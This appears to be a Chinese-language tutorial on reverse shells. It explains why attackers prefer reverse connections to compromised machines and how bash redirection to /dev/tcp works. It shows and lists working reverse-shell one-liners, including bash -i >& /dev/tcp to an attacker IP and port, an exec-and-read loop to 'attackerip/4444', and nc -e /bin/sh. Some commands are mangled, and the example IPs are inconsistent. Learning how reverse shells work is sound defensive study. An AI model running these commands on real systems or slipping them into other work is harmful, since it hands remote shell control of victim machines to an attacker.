*嚴正聲明:本文僅限于技術討論與分享,嚴禁用于非法途徑。
0x00 前言
反彈shell,就是控制端監(jiān)聽在某TCP/udp端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉到控制端。
通俗點說,反彈shell就是一種反向鏈接,與正向的ssh等不同,它是在對方電腦執(zhí)行命令連接到我方的攻擊模式,并且這種攻擊模式必須搭配遠程執(zhí)行命令漏洞來使用。
為什么要反彈shell? 通常用于被控端因防火墻受限、權限不足、端口被占用等情形。
假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器,這是比較常規(guī)的形式,我們叫做正向連接。遠程桌面,web服務,ssh,telnet等等,都是正向連接。
那么什么情況下正向連接不太好用了呢:
1.某客戶機中了你的網(wǎng)馬,但是它在局域網(wǎng)內(nèi),你直接連接不了。2.它的ip會動態(tài)改變,你不能持續(xù)控制。3.由于防火墻等限制,對方機器只能發(fā)送請求,不能接收請求。4.對于病毒,木馬,受害者什么時候能中招,對方的網(wǎng)絡環(huán)境是什么樣的,什么時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,才是上策。
那么反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈shell。
0x01 反彈shell演示
我們用bash遠程代碼執(zhí)行漏洞實例來了解一下他的原理
攻擊端:10.100.40.5 受害機:192.168.197.136
首先我們需要在攻擊端去監(jiān)聽端口,通過這個端口來接收受害機反彈的shell
在攻擊端輸入命令nc -l 2333
然后在受害機執(zhí)行命令
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
我們就發(fā)現(xiàn),在我們的攻擊端已經(jīng)成功出現(xiàn)了我們的受害端的shell,在我們的攻擊端就能對受害端來進行下一步操作
例如:
0x02 原理
2.1 反彈shell的命令原理
(1)bash -i
bash是linux的一個比較常見的shell,是許多Linux發(fā)行版的默認Shell。
-i這個參數(shù)的意思是產(chǎn)生交互式的shell
(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port這個文件是特別特殊的,實際上可以將其看成一個設備(Linux下一切皆文件),其實如果你訪問這個文件的位置他是不存在的,如下圖:
(3) 但是如果你在一方監(jiān)聽端口的情況下對這個文件進行讀寫,就能實現(xiàn)與監(jiān)聽端口的服務器的socket通信
我們輸出字符到/dev/tcp這個文件中
受害端:
攻擊端:
(4) 下面我們在看將輸出轉移到到受害端,在攻擊端繼續(xù)監(jiān)聽2333端口,并且在攻擊端輸入內(nèi)容回車就會出現(xiàn)在受害端。
(5)這樣思路就比較清晰了,下面再說交互重定向:
為了實現(xiàn)交互,我們需要把受害者交互式shell的輸出重定向到攻擊機上;
在受害者機器上輸入:
bash -i > /dev/tcp 10.100.40.5/2333
然后我們發(fā)現(xiàn)無論輸入什么指令都不會有回顯,回顯出現(xiàn)在了攻擊端標準輸出被定向到了攻擊端。
這樣只是回顯而已,并沒有辦法在攻擊端直接執(zhí)行命令。
(6)所以我們還需要將攻擊者輸入的指令輸入給受害者的bash:
bash -i < /dev/tcp/10.100.40.5/2333
這樣就會做到在攻擊端輸入命令,回顯到受害端:
(7)最重要的在與怎么將兩個操作結合起來,實現(xiàn)在攻擊端輸入攻擊端輸出,我們需要將輸出輸入都綁定到/dev/tcp這個文件下。
命令:
bash -i > /dev/tcp/10.100.40.5/2333 0>&1
受害端:
攻擊端:
我們發(fā)現(xiàn)完全實現(xiàn)了我們的需求,在攻擊端執(zhí)行命令,并且回顯,這個命令,做到了輸入0是由/dev/tcp/192.168.146.129/2333輸入的,也就是攻擊機的輸入,命令執(zhí)行的結果1,會輸出到/dev/tcp/192.168.156.129/2333上,這就形成了一個回路,實現(xiàn)了我們遠程交互式shell的功能。
我們發(fā)現(xiàn)還是有一個小問題,我們可以看到,雖然命令執(zhí)行結果在攻擊端回顯,但是受害端依然是有命令回顯的,
所以我們需要解決這個問題
命令 :
bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1
這樣命令就不會回顯到受害端了。
就算是錯誤輸出也會輸出到攻擊端,這樣就達到了我們的目的。
2.2 常見反彈shell方法
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0<&1 bash -i>& /dev/tcp/10.100.40.5/2333 0<&1
這兩個幾乎是一樣的唯一的區(qū)別是0>&1和0
(2) 方法二
bash -i >& /dev/tcp/10.100.40.5/2333 <&2 bash -i >& /dev/tcp/10.100.40.5/2333 0<&2
(3) 方法三
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
(4) 方法四
nc -e /bin/sh 10.100.40.5 2333